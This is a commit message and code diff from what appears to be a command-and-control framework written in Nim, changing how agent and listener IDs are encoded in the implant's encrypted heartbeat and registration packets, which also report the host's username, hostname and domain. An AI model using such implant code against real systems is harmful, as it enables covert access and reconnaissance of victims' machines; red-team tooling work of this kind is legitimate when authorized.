Implemented profile embedding via patching a placeholder in the agent executable. Agent correctly deserializes and parses the profile and listener configuration.

src/agent/protocol/heartbeat.nim

@@ -10,12 +10,12 @@ proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
             packetType: cast[uint8](MSG_HEARTBEAT),
             flags: cast[uint16](FLAG_ENCRYPTED),
             size: 0'u32,
-            agentId: uuidToUint32(ctx.agentId),
+            agentId: string.toUuid(ctx.agentId),
             seqNr: 0'u32,  
             iv: generateIV(),
             gmac: default(AuthenticationTag)
         ), 
-        listenerId: uuidToUint32(ctx.listenerId),
+        listenerId: string.toUuid(ctx.listenerId),
         timestamp: uint32(now().toTime().toUnix())
     )
 

src/agent/protocol/registration.nim

@@ -201,14 +201,14 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
             packetType: cast[uint8](MSG_REGISTER),
             flags: cast[uint16](FLAG_ENCRYPTED),
             size: 0'u32,
-            agentId: uuidToUint32(ctx.agentId),
-            seqNr: nextSequence(uuidToUint32(ctx.agentId)),                              
+            agentId: string.toUuid(ctx.agentId),
+            seqNr: nextSequence(string.toUuid(ctx.agentId)),                              
             iv: generateIV(),
             gmac: default(AuthenticationTag)
         ), 
         agentPublicKey: ctx.agentPublicKey,
         metadata: AgentMetadata(
-            listenerId: uuidToUint32(ctx.listenerId),
+            listenerId: string.toUuid(ctx.listenerId),
             username: string.toBytes(getUsername()),
             hostname: string.toBytes(getHostname()),
             domain: string.toBytes(getDomain()),